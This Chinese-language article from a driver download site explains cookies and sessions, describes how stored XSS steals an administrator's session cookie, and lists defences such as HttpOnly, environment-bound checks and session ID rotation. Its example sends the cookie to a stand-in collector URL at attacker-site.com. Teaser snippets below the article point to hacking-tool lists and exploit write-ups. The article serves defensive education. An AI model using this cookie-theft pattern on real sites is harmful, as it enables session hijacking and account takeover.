驱动管家:安全、高效、精准的专业驱动下载站!

cookie的原理是什么?系统如何防cookie劫持?

2018-02-14 15:45:34责编:llp   来源:驱动管家     人气:

1. Cookie是什么?

2. 窃取的原理是什么?

3. 系统如何防Cookie劫持呢?

看完这三个回答, 你就明白哪位传奇大侠是如何成功的!!!

Cookie:

HTTP天然是无状态的协议, 为了维持和跟踪用户的状态, 引入了Cookie和Session. Cookie包含了浏览器客户端的用户凭证, 相对较小. Session则维护在服务器, 用于维护相对较大的用户信息.

cookie的原理是什么?系统如何防cookie劫持?

用通俗的语言, Cookie是钥匙, Session是锁芯.

Cookie简单理解就是钥匙, 每次去服务端获取资源, 需要带着这把钥匙, 只有自己的锁芯(资源), 才能打开.

如果你丢掉了钥匙, 那没办法, 只能配一把钥匙和锁芯.

但是如果钥匙被别人拿了, 那别人就可以冒充你的身份, 去打开你的锁芯, 从而获取你的信息, 甚至挪用你的资金. 这是非常危险的.

XSS攻击:

XSS(Cross Site Scripting)是跨站点脚本攻击的缩写. 其就是利用站点开放的文本编辑并发布的功能, 从而造成攻击.

其实说的简单一点, 就是输入javascript脚本, 窃取并投递cookie信息到自己的站点.

比如攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

快看, 这里有美女在洗澡

攻击者提交了条带标签的数据,该条数据保存于服务器端,而管理员登入时,不小心点击这个链接时,则会把自身的cookie信息, 投递给hacker设定的网址.

http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz

有了该session-id,攻击者在会话有效期内即可获得管理员的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

Cookie劫持的防:

基于XSS攻击, 窃取Cookie信息, 并冒充他人身份.

服务端如何防呢?

第一种办法是:

给Cookie添加HttpOnly属性, 这种属性设置后, 只能在http请求中传递, 在脚本中,document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了.

第二种办法:

在cookie中添加校验信息, 这个校验信息和当前用户外置环境有些关系,比如ip,user agent等有关.这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 因此要求重新登录, 这样也是种很好的思路, 去规避cookie劫持.

第三种办法:

cookie中session id的定时更换, 让session id按一定频率变换, 同时对用户而言, 该操作是透明的, 这样保证了服务体验的一致性.

  • android平台的漏洞 什么是sql注入漏洞?

    android平台的漏洞 什么是sql注入漏洞?

    0x0前言14年11月笔者在百度xteam博客中看到其公开了此前报告给Google的CVE-2014-8507漏洞细节——系统代码在处理经由短信承载的WAP推送内容时产生的经典SQL注入漏洞,影响Android 5 0以下的系统。于是对这个漏洞

    详情2018-01-06 15:28:03责编:llp   来源:驱动管家     
  • 怎么避免网站被黑?网站被黑之后如何处理?

    怎么避免网站被黑?网站被黑之后如何处理?

    每当出现欧洲杯、世界杯、奥运会这种比赛时,各种博彩集团使出浑身解数黑掉正常的网站,尤其是流量大的资讯类网站。百度通过内部检测发现欧洲杯期间站点被黑数量呈上升趋势,百度已经加大惩罚效率和力度,那么,

    详情2018-01-23 19:24:40责编:llp   来源:驱动管家     
  • 在线影院被黑客入侵的全过程?在线影院怎么被黑客入侵?

    在线影院被黑客入侵的全过程?在线影院怎么被黑客入侵?

    最近对网上看电影比较感兴趣,于是登录至某“在线影院”。本以为是免费,谁知问我要账号和密码,我可不想为这个掏钱。怎么办?先探探路。对我而言,入侵的过程是充满乐趣的,它刺激着我大脑的每一根神经,让我兴

    详情2018-01-28 18:06:29责编:llp   来源:驱动管家     
  • 远程文件包含漏洞为什么要包含文件?怎么利用远程文件包含漏洞?

    远程文件包含漏洞为什么要包含文件?怎么利用远程文件包含漏洞?

    首先,我们来讨论包含文件漏洞,首先要问的是,什么才是 "远程文件包含漏洞 "?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造

    详情2018-02-12 17:15:39责编:llp   来源:驱动管家     
  • serv-u ftp越狱 如何防范serv-u ftp越狱?

    serv-u ftp越狱 如何防范serv-u ftp越狱?

    防范serv-u ftp越狱的代码如下:[*]----------------------------------------------------[*]Serv-U FTP Server Jail Break 0dayDiscovered By KingcopeYear 2011[*]----------------------------------

    详情2018-01-24 14:19:56责编:llp   来源:驱动管家     
  • telnet登录命令怎么捕获?怎么修正trigger?

    telnet登录命令怎么捕获?怎么修正trigger?

    转载:ken如下: telnet登录时口令部分不回显,只能抓取从client到server的报文才能获取明文口令。 所以一般那些监视还原软件无法直接看到口令,看到的多半就是星号(*)。缺省情况 下telnet登录时进入字符输入

    详情2018-01-20 16:12:52责编:llp   来源:驱动管家     
  • 电脑文件加密软件哪个好?如何选择合适的电脑文件加密软件?

    电脑文件加密软件哪个好?如何选择合适的电脑文件加密软件?

    无论是工作还是生活,电脑已经成为我们每天不可缺少的工具之一。我们也经常会在电脑存储一些重要的私人文件或者是公司的机密文件,这些文件的安全管理就显得十分重要。通过使用一些电脑文件加密软件对电脑文件进

    详情2018-01-27 14:25:44责编:llp   来源:驱动管家     
  • 黑客常用哪些工具?这些工具有什么作用?

    黑客常用哪些工具?这些工具有什么作用?

    webadv:针对iis+sp3的溢出成功率很高(溢出后system权限!)ipscan:大范围网段快速ipc猜解svc:远程安装 删除Win2k服务3389 vbs:远程安装Win2k终端服务不需i386arpsniffer:arp环境sniffer(需要Winpcap2 1以上)as

    详情2018-02-10 18:57:50责编:llp   来源:驱动管家     
  • 手机使用技巧 智能手机怎么用?

    手机使用技巧 智能手机怎么用?

    1。用智能手机工作室1 1版备份联系人、短信、通话记录等, 下载刷机相关文件(刷机工具, ROM, Radio, 格式化ExtROM工具Repart_DOC exe), 同步软件ActiveSync要用最新版4 0以上的。2。确认下载的ROM文件(n

    详情2018-01-04 11:50:01责编:llp   来源:驱动管家     
  • pplive网络电视有漏洞?activex漏洞挖掘的步骤

    pplive网络电视有漏洞?activex漏洞挖掘的步骤

    受影响系统:pplive 1 8beta2描述:ActiveX类型溢出,远程攻击者可能利用此漏洞在用户计算机上执行任意指令。来源:Bug Center TeamActiveX漏洞挖掘的步骤:1) 判断是否属于远程类型的ActiveX控件2) 获得该

    详情2018-01-26 13:30:43责编:llp   来源:驱动管家